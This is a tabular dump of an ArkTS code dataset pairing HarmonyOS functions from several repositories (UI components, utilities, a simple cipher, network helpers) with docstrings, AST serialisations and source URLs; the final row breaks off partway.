nwo stringclasses 304
values | sha stringclasses 304
values | path stringlengths 9 214 | language stringclasses 1
value | identifier stringlengths 0 49 | docstring stringlengths 1 34.2k | function stringlengths 8 59.4k | ast_function stringlengths 71 497k | obf_function stringlengths 8 39.4k | url stringlengths 102 324 | function_sha stringlengths 40 40 | source stringclasses 2
values |
|---|---|---|---|---|---|---|---|---|---|---|---|
openharmony/applications_launcher | f75dfb6bf7276e942793b75e7a9081bbcd015843 | feature/form/src/main/ets/default/view/FormManagerComponent.ets | arkts | FormManagerComponent | Form manager view Component (phone adaptation). | @Component
export struct FormManagerComponent {
@StorageLink('formAppInfo') formAppInfo: CardItemInfo = new CardItemInfo();
@StorageLink('formMgrItem') formItem: Array<CardItemInfo> = [];
@State allowUpdate: boolean = false;
private mSwiperController: SwiperController = new SwiperController();
private mFormMo... | AST#decorated_export_declaration#Left AST#decorator#Left @ Component AST#decorator#Right export struct FormManagerComponent AST#component_body#Left { AST#property_declaration#Left AST#decorator#Left @ StorageLink ( AST#expression#Left 'formAppInfo' AST#expression#Right ) AST#decorator#Right formAppInfo : AST#type_annot... | @Component
export struct FormManagerComponent {
@StorageLink('formAppInfo') formAppInfo: CardItemInfo = new CardItemInfo();
@StorageLink('formMgrItem') formItem: Array<CardItemInfo> = [];
@State allowUpdate: boolean = false;
private mSwiperController: SwiperController = new SwiperController();
private mFormMo... | https://github.com/openharmony/applications_launcher/blob/f75dfb6bf7276e942793b75e7a9081bbcd015843/feature/form/src/main/ets/default/view/FormManagerComponent.ets#L31-L281 | f13c4ced44b44e7f2cd07877559688abb45fe70b | gitee |
Piagari/arkts_example.git | a63b868eaa2a50dc480d487b84c4650cc6a40fc8 | hmos_app-main/hmos_app-main/legado-Harmony-master/entry/src/main/ets/common/utils/bookGroupUtils.ets | arkts | updatePartialGroup | 更新分组部分数据 | async updatePartialGroup(data:BookGroups){
BookGroupsDao.updatePartialGroup(data)
} | AST#method_declaration#Left async updatePartialGroup AST#parameter_list#Left ( AST#parameter#Left data : AST#type_annotation#Left AST#primary_type#Left BookGroups AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right AST#builder_function_body#Left { AST#expression_statement#Lef... | async updatePartialGroup(data:BookGroups){
BookGroupsDao.updatePartialGroup(data)
} | https://github.com/Piagari/arkts_example.git/blob/a63b868eaa2a50dc480d487b84c4650cc6a40fc8/hmos_app-main/hmos_app-main/legado-Harmony-master/entry/src/main/ets/common/utils/bookGroupUtils.ets#L108-L110 | 139fe72bca18b441d6bbc8be367b43392e928bc9 | github |
RedRackham-R/WanAndroidHarmoney.git | 0bb2a7c8d7b49194a96e42a380d43b7e106cdb22 | entry/src/main/ets/global/viewmodel/GlobalUserViewModel.ets | arkts | fetchUserInfo | 获取当前用户信息 | async fetchUserInfo() {
EventBus.getInstance().post(WanEventId.EVENT_UPDATE_USER_INFO, new UserInfoUpdateEvent(true));
try {
const response = await WanHttpClient.fetchUserInfo();
if (response.data.errorCode === 0) {
await this.updateUserInfo(response.data.data);
}
} catch (err) {
... | AST#method_declaration#Left async fetchUserInfo AST#parameter_list#Left ( ) AST#parameter_list#Right AST#block_statement#Left { AST#statement#Left AST#expression_statement#Left AST#expression#Left AST#call_expression#Left AST#expression#Left AST#member_expression#Left AST#expression#Left AST#call_expression#Left AST#ex... | async fetchUserInfo() {
EventBus.getInstance().post(WanEventId.EVENT_UPDATE_USER_INFO, new UserInfoUpdateEvent(true));
try {
const response = await WanHttpClient.fetchUserInfo();
if (response.data.errorCode === 0) {
await this.updateUserInfo(response.data.data);
}
} catch (err) {
... | https://github.com/RedRackham-R/WanAndroidHarmoney.git/blob/0bb2a7c8d7b49194a96e42a380d43b7e106cdb22/entry/src/main/ets/global/viewmodel/GlobalUserViewModel.ets#L104-L116 | c273416f6ad9b54da71d9ea7e2167f69fec0b94a | github |
salehelper/algorithm_arkts.git | 61af15272038646775a4745fca98a48ba89e1f4e | entry/src/main/ets/ciphers/A1Z26Cipher.ets | arkts | decrypt | 将数字序列转换回文本
@param numbers 要解密的数字序列
@param separator 数字之间的分隔符
@returns 解密后的文本 | static decrypt(numbers: string, separator: string = '-'): string {
if (!numbers) {
return '';
}
return numbers.split(separator).map(num => {
const n = parseInt(num);
if (!isNaN(n) && n >= 1 && n <= 26) {
return String.fromCharCode(n + 64);
}
return num;
}).join('')... | AST#method_declaration#Left static decrypt AST#parameter_list#Left ( AST#parameter#Left numbers : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left separator : AST#type_annotation#Left AST#primary_type#Left string AST#primary_... | static decrypt(numbers: string, separator: string = '-'): string {
if (!numbers) {
return '';
}
return numbers.split(separator).map(num => {
const n = parseInt(num);
if (!isNaN(n) && n >= 1 && n <= 26) {
return String.fromCharCode(n + 64);
}
return num;
}).join('')... | https://github.com/salehelper/algorithm_arkts.git/blob/61af15272038646775a4745fca98a48ba89e1f4e/entry/src/main/ets/ciphers/A1Z26Cipher.ets#L31-L43 | 4ede7e1adb3be0afa7a69f9604063ef5d909e857 | github |
harmonyos-cases/cases | eccdb71f1cee10fa6ff955e16c454c1b59d3ae13 | CommonAppDevelopment/feature/imagecomment/Index.ets | arkts | ImageCommentViewComponent | Copyright (c) 2024 Huawei Device Co., Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, soft... | export { ImageCommentViewComponent } from "./src/main/ets/components/view/ImageCommentView"; | AST#export_declaration#Left export { ImageCommentViewComponent } from "./src/main/ets/components/view/ImageCommentView" ; AST#export_declaration#Right | export { ImageCommentViewComponent } from "./src/main/ets/components/view/ImageCommentView"; | https://github.com/harmonyos-cases/cases/blob/eccdb71f1cee10fa6ff955e16c454c1b59d3ae13/CommonAppDevelopment/feature/imagecomment/Index.ets#L16-L16 | 0f0214ebd97099a093628f7c2f42a5f621fc2d34 | gitee |
KoStudio/ArkTS-WordTree.git | 78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324 | entry/src/main/ets/models/managers/timeto/TimeToManager.ets | arkts | limitMinuteForType | ------------------------- 内部方法 ------------------------- 根据 TimeToType 获取限制分钟数 | private static limitMinuteForType(type: TimeToType): number {
const hourMinute = 60;
switch (type) {
case TimeToType.updateServerConfigs : return TimeTo.UpdateServerConfigs * hourMinute;
case TimeToType.autoRefreshSubsciptionInfo : return TimeTo.AutoRefreshSubscriptionInfo * hourMinute; //A... | AST#method_declaration#Left private static limitMinuteForType AST#parameter_list#Left ( AST#parameter#Left type : AST#type_annotation#Left AST#primary_type#Left TimeToType AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left num... | private static limitMinuteForType(type: TimeToType): number {
const hourMinute = 60;
switch (type) {
case TimeToType.updateServerConfigs : return TimeTo.UpdateServerConfigs * hourMinute;
case TimeToType.autoRefreshSubsciptionInfo : return TimeTo.AutoRefreshSubscriptionInfo * hourMinute;
... | https://github.com/KoStudio/ArkTS-WordTree.git/blob/78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324/entry/src/main/ets/models/managers/timeto/TimeToManager.ets#L163-L169 | 6e7be7ff408af75c1db6b163e64acbda49b48053 | github |
tongyuyan/harmony-utils | 697472f011a43e783eeefaa28ef9d713c4171726 | harmony_utils/src/main/ets/utils/WindowUtil.ets | arkts | getWindowSystemBarProperties | 获取主窗口三键导航栏、状态栏的属性。
@param windowClass 不传该值,默认主窗口。
@returns | static getWindowSystemBarProperties(windowClass: window.Window = AppUtil.getMainWindow()): window.SystemBarProperties {
return windowClass.getWindowSystemBarProperties();
} | AST#method_declaration#Left static getWindowSystemBarProperties AST#parameter_list#Left ( AST#parameter#Left windowClass : AST#type_annotation#Left AST#primary_type#Left AST#qualified_type#Left window . Window AST#qualified_type#Right AST#primary_type#Right AST#type_annotation#Right = AST#expression#Left AST#call_expre... | static getWindowSystemBarProperties(windowClass: window.Window = AppUtil.getMainWindow()): window.SystemBarProperties {
return windowClass.getWindowSystemBarProperties();
} | https://github.com/tongyuyan/harmony-utils/blob/697472f011a43e783eeefaa28ef9d713c4171726/harmony_utils/src/main/ets/utils/WindowUtil.ets#L127-L129 | 3b0e75b8264180058994744d2de4a0f63a075c7f | gitee |
yunkss/ef-tool | 75f6761a0f2805d97183504745bf23c975ae514d | ef_ui/src/main/ets/ui/base/NotificationUtil.ets | arkts | publishLongText | 推送长文本通知
@param options 通知实体
@returns | static async publishLongText(options: NoticeOptions): Promise<void> {
if (!options) {
options = new NoticeOptions();
}
if (!options.id) {
options.id = RandomUtil.randomNumber(200001, 300000);
}
if (options.isOngoing == undefined) {
options.isOngoing = true;
}
if (options.is... | AST#method_declaration#Left static async publishLongText AST#parameter_list#Left ( AST#parameter#Left options : AST#type_annotation#Left AST#primary_type#Left NoticeOptions AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left AS... | static async publishLongText(options: NoticeOptions): Promise<void> {
if (!options) {
options = new NoticeOptions();
}
if (!options.id) {
options.id = RandomUtil.randomNumber(200001, 300000);
}
if (options.isOngoing == undefined) {
options.isOngoing = true;
}
if (options.is... | https://github.com/yunkss/ef-tool/blob/75f6761a0f2805d97183504745bf23c975ae514d/ef_ui/src/main/ets/ui/base/NotificationUtil.ets#L228-L296 | a538cd6d27381ff45cbf6422dc40ef80e8849bcd | gitee |
KoStudio/ArkTS-WordTree.git | 78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324 | entry/src/main/ets/models/managers/member/DailyCountManaer.ets | arkts | clearOldDatas | 清空旧日期的数据,只保留今天的 | private clearOldDatas(): void {
const prefs = this.getPrefs();
const dict = prefs.getAllSync() as Record<string, number>;
const newDict: Record<string, number> = {};
for (const type of Object.values(DailyCountType)) {
const key = DailyCountTypeHelper.getKeyWithToday(type);
const val = dic... | AST#method_declaration#Left private clearOldDatas AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left void AST#primary_type#Right AST#type_annotation#Right AST#block_statement#Left { AST#statement#Left AST#variable_declaration#Left const AST#variable_declarator#Left pre... | private clearOldDatas(): void {
const prefs = this.getPrefs();
const dict = prefs.getAllSync() as Record<string, number>;
const newDict: Record<string, number> = {};
for (const type of Object.values(DailyCountType)) {
const key = DailyCountTypeHelper.getKeyWithToday(type);
const val = dic... | https://github.com/KoStudio/ArkTS-WordTree.git/blob/78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324/entry/src/main/ets/models/managers/member/DailyCountManaer.ets#L73-L94 | 6d6332582a5903ecc7b2286078861664c6af45d9 | github |
openharmony/interface_sdk-js | c349adc73e2ec1f61f6fca489b5af059e3ed6999 | api/@ohos.util.d.ets | arkts | isFloat64Array | Check whether the entered value is of float64array array type.
@param { Object } value - A Float64Array value
@returns { boolean } Returns true if the value is a built-in Float64Array instance.
@syscap SystemCapability.Utils.Lang
@crossplatform
@atomicservice
@since 20 | isFloat64Array(value: Object): boolean; | AST#method_declaration#Left isFloat64Array AST#parameter_list#Left ( AST#parameter#Left value : AST#type_annotation#Left AST#primary_type#Left Object AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left boolean AST#primary_type#... | isFloat64Array(value: Object): boolean; | https://github.com/openharmony/interface_sdk-js/blob/c349adc73e2ec1f61f6fca489b5af059e3ed6999/api/@ohos.util.d.ets#L1224-L1224 | 7ed6161b320ce10aaeeb4b471f492de84e838b28 | gitee |
KoStudio/ArkTS-WordTree.git | 78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324 | entry/src/main/ets/models/datas/model/SearchManager.ets | arkts | getWordsWithMemos | /获取 有笔记的单词 | getWordsWithMemos(): WordUser[] {
return this.getAliveWords().filter(word => !!word.memo || (word.shareMemos?.length ?? 0) > 0
)
} | AST#method_declaration#Left getWordsWithMemos AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left AST#array_type#Left WordUser [ ] AST#array_type#Right AST#primary_type#Right AST#type_annotation#Right AST#block_statement#Left { AST#statement#Left AST#return_statement#Le... | getWordsWithMemos(): WordUser[] {
return this.getAliveWords().filter(word => !!word.memo || (word.shareMemos?.length ?? 0) > 0
)
} | https://github.com/KoStudio/ArkTS-WordTree.git/blob/78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324/entry/src/main/ets/models/datas/model/SearchManager.ets#L362-L365 | edaf25913cfd8b30dc37e5d0f7952c8013f14f69 | github |
kumaleap/ArkSwipeDeck.git | 5afa77b9b2a2a531595d31f895c54a3371e4249a | library/src/main/ets/utils/GestureUtils.ets | arkts | createInitialGestureState | 创建初始手势状态
@param startX - 起始X坐标
@param startY - 起始Y坐标
@returns 初始手势状态 | static createInitialGestureState(startX: number, startY: number): GestureState {
return {
startX: startX,
startY: startY,
currentX: startX,
currentY: startY,
deltaX: 0,
deltaY: 0,
velocity: 0,
isActive: true
};
} | AST#method_declaration#Left static createInitialGestureState AST#parameter_list#Left ( AST#parameter#Left startX : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left startY : AST#type_annotation#Left AST#primary_type#Left numbe... | static createInitialGestureState(startX: number, startY: number): GestureState {
return {
startX: startX,
startY: startY,
currentX: startX,
currentY: startY,
deltaX: 0,
deltaY: 0,
velocity: 0,
isActive: true
};
} | https://github.com/kumaleap/ArkSwipeDeck.git/blob/5afa77b9b2a2a531595d31f895c54a3371e4249a/library/src/main/ets/utils/GestureUtils.ets#L28-L39 | 1baa3257637b81df2ceede311c5c2ef8f28b3a75 | github |
common-apps/ZRouter | 5adc9c4bcca6ba7d9b323451ed464e1e9b47eee6 | RouterApi/src/main/ets/animation/NavAnimationMgr.ets | arkts | modifier | 该页面的动画转场所需要的modifier,也可以自己传进去
@param component
@param modifier
@returns | modifier(component: object, modifier?: NavAnimationModifier) {
const pageInfo = this.navContextMap.get(this.getKey(component))
if (pageInfo) {
return pageInfo.modifier
}
const m = modifier ?? new NavAnimationModifier()
this.navContextMap.set(this.getKey(component), { modifier: m })
return ... | AST#method_declaration#Left modifier AST#parameter_list#Left ( AST#parameter#Left component : AST#type_annotation#Left AST#primary_type#Left object AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left modifier ? : AST#type_annotation#Left AST#primary_type#Left NavAnimationModifier A... | modifier(component: object, modifier?: NavAnimationModifier) {
const pageInfo = this.navContextMap.get(this.getKey(component))
if (pageInfo) {
return pageInfo.modifier
}
const m = modifier ?? new NavAnimationModifier()
this.navContextMap.set(this.getKey(component), { modifier: m })
return ... | https://github.com/common-apps/ZRouter/blob/5adc9c4bcca6ba7d9b323451ed464e1e9b47eee6/RouterApi/src/main/ets/animation/NavAnimationMgr.ets#L272-L280 | b49d8e6dab0f4c2c9e2f72e079a76e023718d376 | gitee |
tongyuyan/harmony-utils | 697472f011a43e783eeefaa28ef9d713c4171726 | picker_utils/src/main/ets/PhotoHelper.ets | arkts | showAssetsCreationDialog | 弹窗授权保存。调用接口拉起保存确认弹窗。用户同意保存后,返回已创建并授予保存权限的uri列表,该列表永久生效,应用可使用该uri写入图片/视频。如果用户拒绝保存,将返回空列表。
@param srcFileUris 需保存到媒体库中的图片/视频文件对应的媒体库uri。注意: 仅支持处理图片、视频uri。
@param photoCreationConfigs 保存图片/视频到媒体库的配置,包括保存的文件名等,与srcFileUris保持一一对应。
@returns 返回给应用的媒体库文件uri列表。Uri已对应用授权,支持应用写入数据。 | static async showAssetsCreationDialog(srcFileUris: Array<string>, photoCreationConfigs?: Array<photoAccessHelper.PhotoCreationConfig>): Promise<Array<string>>{
const ImageExtensions = ["jpeg", "jpg", "png", "gif", "webp", "bmp", "heic", "heif", , "ico", "svg"]; //图片文件后缀
const photoHelper = photoAccessHelper.get... | AST#method_declaration#Left static async showAssetsCreationDialog AST#parameter_list#Left ( AST#parameter#Left srcFileUris : AST#type_annotation#Left AST#primary_type#Left AST#generic_type#Left Array AST#type_arguments#Left < AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotati... | static async showAssetsCreationDialog(srcFileUris: Array<string>, photoCreationConfigs?: Array<photoAccessHelper.PhotoCreationConfig>): Promise<Array<string>>{
const ImageExtensions = ["jpeg", "jpg", "png", "gif", "webp", "bmp", "heic", "heif", , "ico", "svg"];
const photoHelper = photoAccessHelper.getPhotoAcc... | https://github.com/tongyuyan/harmony-utils/blob/697472f011a43e783eeefaa28ef9d713c4171726/picker_utils/src/main/ets/PhotoHelper.ets#L111-L133 | 385dc45f483f48a7b483074932f042ca6880aba5 | gitee |
openharmony/applications_app_samples | a826ab0e75fe51d028c1c5af58188e908736b53b | code/SystemFeature/Media/VoiceCallDemo/entry/src/main/ets/components/ComponentOption.ets | arkts | ComponentOption | 按钮组件,背景/图标可根据use切换展示状态 | @Component
export default struct ComponentOption {
private useResource: Resource = $r('app.media.icon_openvalley_hangup');
private unUseResource: Resource = $r('app.media.icon_openvalley_hangup');
private useBgColorResource?: Resource = $r('app.color.color_fff');
@Link use: boolean;
private callback: ((use: b... | AST#decorated_export_declaration#Left AST#decorator#Left @ Component AST#decorator#Right export default struct ComponentOption AST#component_body#Left { AST#property_declaration#Left private useResource : AST#type_annotation#Left AST#primary_type#Left Resource AST#primary_type#Right AST#type_annotation#Right = AST#expr... | @Component
export default struct ComponentOption {
private useResource: Resource = $r('app.media.icon_openvalley_hangup');
private unUseResource: Resource = $r('app.media.icon_openvalley_hangup');
private useBgColorResource?: Resource = $r('app.color.color_fff');
@Link use: boolean;
private callback: ((use: b... | https://github.com/openharmony/applications_app_samples/blob/a826ab0e75fe51d028c1c5af58188e908736b53b/code/SystemFeature/Media/VoiceCallDemo/entry/src/main/ets/components/ComponentOption.ets#L19-L52 | ccd4482ca8d0b6523896d33f528b299f940ef2bc | gitee |
bigbear20240612/planner_build-.git | 89c0e0027d9c46fa1d0112b71fcc95bb0b97ace1 | entry/src/main/ets/common/ThemeManager.ets | arkts | ThemeSelectionDialog | 主题选择对话框组件 - 简化版 | @CustomDialog
export struct ThemeSelectionDialog {
@State selectedTheme: string = 'minimal';
@State isApplying: boolean = false;
@State currentTheme: ThemeModel = AppThemeManager.getInstance().getCurrentTheme();
controller: CustomDialogController;
onThemeSelected?: (theme: string) => void;
aboutToAppear() ... | AST#decorated_export_declaration#Left AST#decorator#Left @ CustomDialog AST#decorator#Right export struct ThemeSelectionDialog AST#component_body#Left { AST#property_declaration#Left AST#decorator#Left @ State AST#decorator#Right selectedTheme : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Rig... | @CustomDialog
export struct ThemeSelectionDialog {
@State selectedTheme: string = 'minimal';
@State isApplying: boolean = false;
@State currentTheme: ThemeModel = AppThemeManager.getInstance().getCurrentTheme();
controller: CustomDialogController;
onThemeSelected?: (theme: string) => void;
aboutToAppear() ... | https://github.com/bigbear20240612/planner_build-.git/blob/89c0e0027d9c46fa1d0112b71fcc95bb0b97ace1/entry/src/main/ets/common/ThemeManager.ets#L257-L443 | d31c7f97f11dfb00581f02daf4d08c626ab745aa | github |
yunkss/ef-tool | 75f6761a0f2805d97183504745bf23c975ae514d | ef_rcp/src/main/ets/rcp/efRcpConfig.ets | arkts | 业务自定义级别请求响应码对象 | export class businessCodeEvent {
/**
* 业务级别自定义错误编码/异常code字段名称
*/
businessCodeName: string = '';
/**
* 请求响应码监听-业务自行处理数据
*/
listener: (code: Object | null) => void = () => {
};
} | AST#export_declaration#Left export AST#class_declaration#Left class businessCodeEvent AST#class_body#Left { /**
* 业务级别自定义错误编码/异常code字段名称
*/ AST#property_declaration#Left businessCodeName : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right = AST#expression#L... | export class businessCodeEvent {
businessCodeName: string = '';
listener: (code: Object | null) => void = () => {
};
} | https://github.com/yunkss/ef-tool/blob/75f6761a0f2805d97183504745bf23c975ae514d/ef_rcp/src/main/ets/rcp/efRcpConfig.ets#L56-L66 | 6e92b08aaa97551c3c48e06b4ae6d60f4fa1cf39 | gitee | |
openharmony/codelabs | d899f32a52b2ae0dfdbb86e34e8d94645b5d4090 | Media/ImageEdit/entry/src/main/ets/viewModel/ImageEditCrop.ets | arkts | saveFinalOperation | Save final operation. | private saveFinalOperation(): void {
let crop = this.cropShow.getCropRect();
let image = this.cropShow.getImageRect();
crop.move(-image.left, -image.top);
MathUtils.normalizeRect(crop, image.getWidth(), image.getHeight());
if (this.filter !== undefined) {
this.filter.setCropRect(crop);
}
... | AST#method_declaration#Left private saveFinalOperation AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left void AST#primary_type#Right AST#type_annotation#Right AST#block_statement#Left { AST#statement#Left AST#variable_declaration#Left let AST#variable_declarator#Left ... | private saveFinalOperation(): void {
let crop = this.cropShow.getCropRect();
let image = this.cropShow.getImageRect();
crop.move(-image.left, -image.top);
MathUtils.normalizeRect(crop, image.getWidth(), image.getHeight());
if (this.filter !== undefined) {
this.filter.setCropRect(crop);
}
... | https://github.com/openharmony/codelabs/blob/d899f32a52b2ae0dfdbb86e34e8d94645b5d4090/Media/ImageEdit/entry/src/main/ets/viewModel/ImageEditCrop.ets#L407-L415 | 5aa38cbb54db19294517c64e4065f57b806ff682 | gitee |
L1rics06/arkTS-.git | 991fd131bfdb11e2933152133c97453d86092ac0 | entry/src/main/ets/pages/NetworkUtil.ets | arkts | searchUsers | 搜索用户 | static async searchUsers(keyword: string = ""): Promise<ResponseDao<UserListResponse>> {
try {
const params: UserSearchParams = { keyword };
const response: AxiosResponse<ResponseDao<UserListResponse>> = await axios.post(
`${BASE_URL}/ddchat/user/search`,
params,
{
hea... | AST#method_declaration#Left static async searchUsers AST#parameter_list#Left ( AST#parameter#Left keyword : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right = AST#expression#Left "" AST#expression#Right AST#parameter#Right ) AST#parameter_list#Right : AST#type_annot... | static async searchUsers(keyword: string = ""): Promise<ResponseDao<UserListResponse>> {
try {
const params: UserSearchParams = { keyword };
const response: AxiosResponse<ResponseDao<UserListResponse>> = await axios.post(
`${BASE_URL}/ddchat/user/search`,
params,
{
hea... | https://github.com/L1rics06/arkTS-.git/blob/991fd131bfdb11e2933152133c97453d86092ac0/entry/src/main/ets/pages/NetworkUtil.ets#L456-L472 | 5c4a04743f64d87845ae3bbd83f87fd6a893b10c | github |
2763981847/Klotski.git | 35bfb313c07e25ea53d2f4e66df0c441dd51675b | entry/src/main/ets/view/ImageSelectComponent.ets | arkts | 构建组件的 UI 布局 | build() {
Column({ space: 20 }) { // 创建垂直列布局,指定垂直间距
Text('请选择图片') // 提示文本
.fontSize(20)
.fontColor('#182431')
Image(this.images[this.selectedIndex]) // 显示当前选中的图像
.objectFit(ImageFit.Contain) // 设置图像适应方式
.height('70%')
.width('80%')
List({
scroller:... | AST#build_method#Left build ( ) AST#build_body#Left { AST#arkts_ui_element#Left AST#ui_element_with_modifiers#Left AST#ui_component#Left Column ( AST#component_parameters#Left { AST#component_parameter#Left space : AST#expression#Left 20 AST#expression#Right AST#component_parameter#Right } AST#component_parameters#Righ... | build() {
Column({ space: 20 }) {
Text('请选择图片')
.fontSize(20)
.fontColor('#182431')
Image(this.images[this.selectedIndex])
.objectFit(ImageFit.Contain)
.height('70%')
.width('80%')
List({
scroller: this.smallScroller,
space: Constants.... | https://github.com/2763981847/Klotski.git/blob/35bfb313c07e25ea53d2f4e66df0c441dd51675b/entry/src/main/ets/view/ImageSelectComponent.ets#L64-L135 | 765f2634abbe39dd6a6a08cee818398d99704541 | github | |
bigbear20240612/birthday_reminder.git | 647c411a6619affd42eb5d163ff18db4b34b27ff | entry/src/main/ets/services/common/ErrorHandler.ets | arkts | handleQuickError | 快速创建并处理错误 | async handleQuickError(
type: ErrorType,
message: string,
originalError?: Error,
userMessage?: string
): Promise<void> {
const errorInfo: ErrorInfo = {
type,
message,
originalError,
userMessage: userMessage || this.getDefaultUserMessage(type)
};
await this.handleEr... | AST#method_declaration#Left async handleQuickError AST#parameter_list#Left ( AST#parameter#Left type : AST#type_annotation#Left AST#primary_type#Left ErrorType AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left message : AST#type_annotation#Left AST#primary_type#Left string AST#pr... | async handleQuickError(
type: ErrorType,
message: string,
originalError?: Error,
userMessage?: string
): Promise<void> {
const errorInfo: ErrorInfo = {
type,
message,
originalError,
userMessage: userMessage || this.getDefaultUserMessage(type)
};
await this.handleEr... | https://github.com/bigbear20240612/birthday_reminder.git/blob/647c411a6619affd42eb5d163ff18db4b34b27ff/entry/src/main/ets/services/common/ErrorHandler.ets#L64-L78 | f1eb930c8117836b609f87855432476f41544c6a | github |
wangjinyuan/JS-TS-ArkTS-database.git | a84793be4f73d4fc7ff0a44d2e15dbb93c5aab26 | npm/alprazolamdiv/11.5.1/package/src/client/websocket/packets/handlers/GuildMemberUpdate.ets | arkts | 应用约束60/61:使用ES模块导出代替require/module.exports | export default GuildMemberUpdateHandler; | AST#export_declaration#Left export default AST#expression#Left GuildMemberUpdateHandler AST#expression#Right ; AST#export_declaration#Right | export default GuildMemberUpdateHandler; | https://github.com/wangjinyuan/JS-TS-ArkTS-database.git/blob/a84793be4f73d4fc7ff0a44d2e15dbb93c5aab26/npm/alprazolamdiv/11.5.1/package/src/client/websocket/packets/handlers/GuildMemberUpdate.ets#L22-L22 | ace41d8df469736a964e0875d9ce00310a6feaac | github | |
openharmony/xts_acts | 5eb33396ca0ffafd9e5d0ba4b5dedfde44aff686 | arkcompiler/esmodule/esmodule_dynamicimport/hspdephsp/Index.ets | arkts | add | Copyright (c) 2024 Huawei Device Co., Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, soft... | export { add } from "./src/main/ets/utils/Calc" | AST#export_declaration#Left export { add } from "./src/main/ets/utils/Calc" AST#export_declaration#Right | export { add } from "./src/main/ets/utils/Calc" | https://github.com/openharmony/xts_acts/blob/5eb33396ca0ffafd9e5d0ba4b5dedfde44aff686/arkcompiler/esmodule/esmodule_dynamicimport/hspdephsp/Index.ets#L16-L16 | 481c7cd7478205fdeb31dcf72b8b6b35b4d435f5 | gitee |
bigbear20240612/birthday_reminder.git | 647c411a6619affd42eb5d163ff18db4b34b27ff | entry/src/main/ets/services/analytics/AnalyticsService.ets | arkts | 使用情况统计 | export interface UsageStats {
dailyActiveTime: number;
weeklyActiveTime: number;
monthlyActiveTime: number;
totalLaunches: number;
averageSessionDuration: number;
featureUsage: FeatureUsage[];
lastActiveDate: string;
streakDays: number;
} | AST#export_declaration#Left export AST#interface_declaration#Left interface UsageStats AST#object_type#Left { AST#type_member#Left dailyActiveTime : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right AST#type_member#Right ; AST#type_member#Left weeklyActiveTime : AST#... | export interface UsageStats {
dailyActiveTime: number;
weeklyActiveTime: number;
monthlyActiveTime: number;
totalLaunches: number;
averageSessionDuration: number;
featureUsage: FeatureUsage[];
lastActiveDate: string;
streakDays: number;
} | https://github.com/bigbear20240612/birthday_reminder.git/blob/647c411a6619affd42eb5d163ff18db4b34b27ff/entry/src/main/ets/services/analytics/AnalyticsService.ets#L171-L180 | f347eda536f7b6a4ca6d20c1a4612aeefed0ab20 | github | |
Piagari/arkts_example.git | a63b868eaa2a50dc480d487b84c4650cc6a40fc8 | hmos_app-main/hmos_app-main/legado-Harmony-master/readerLibrary/src/main/ets/common/helper/NovelContentParseHelper.ets | arkts | calculateParagraphForPage | 根据给定的段落,计算一页的内容
会自动移除已经计算过的段落
Calculate the content of each page line by line
@param {string[]} paragraphs 目标段落列表 the target paragraph list
@param {number} targetHeight 展示内容的文字大小 the text size of display config
@param {number} targetWidth 展示内容的行高 the line height of display config
@param {SizeOptions} wordSize 展示区域的宽度 ... | static calculateParagraphForPage(paragraphs: string[], targetHeight: number, targetWidth: number,
wordSize: SizeOptions, fontSize: number, lineHeight: number,): Promise<string[]> {
return new Promise((resolve, reject) => {
let constraintWidth = targetWidth;
let wordWidth: number = typeof wordSize.w... | AST#method_declaration#Left static calculateParagraphForPage AST#parameter_list#Left ( AST#parameter#Left paragraphs : AST#type_annotation#Left AST#primary_type#Left AST#array_type#Left string [ ] AST#array_type#Right AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left targetHeight... | static calculateParagraphForPage(paragraphs: string[], targetHeight: number, targetWidth: number,
wordSize: SizeOptions, fontSize: number, lineHeight: number,): Promise<string[]> {
return new Promise((resolve, reject) => {
let constraintWidth = targetWidth;
let wordWidth: number = typeof wordSize.w... | https://github.com/Piagari/arkts_example.git/blob/a63b868eaa2a50dc480d487b84c4650cc6a40fc8/hmos_app-main/hmos_app-main/legado-Harmony-master/readerLibrary/src/main/ets/common/helper/NovelContentParseHelper.ets#L56-L134 | 88bb5bb8dab69af378707c8a5d2266867e02e899 | github |
jjjjjjava/ffmpeg_tools.git | 6c73f7540bc7ca3f0d5b3edd7a6c10cb84a26161 | src/main/ets/ffmpeg/FFmpegFactory.ets | arkts | FFmpeg 命令工厂类
设计原则:零配置,拿来即用
- 所有方法默认使用 h264_ohosavcodec 硬解硬编
- 需要定制请使用 FFmpegCommandBuilder
@author panruiqi
@version 2.0.0
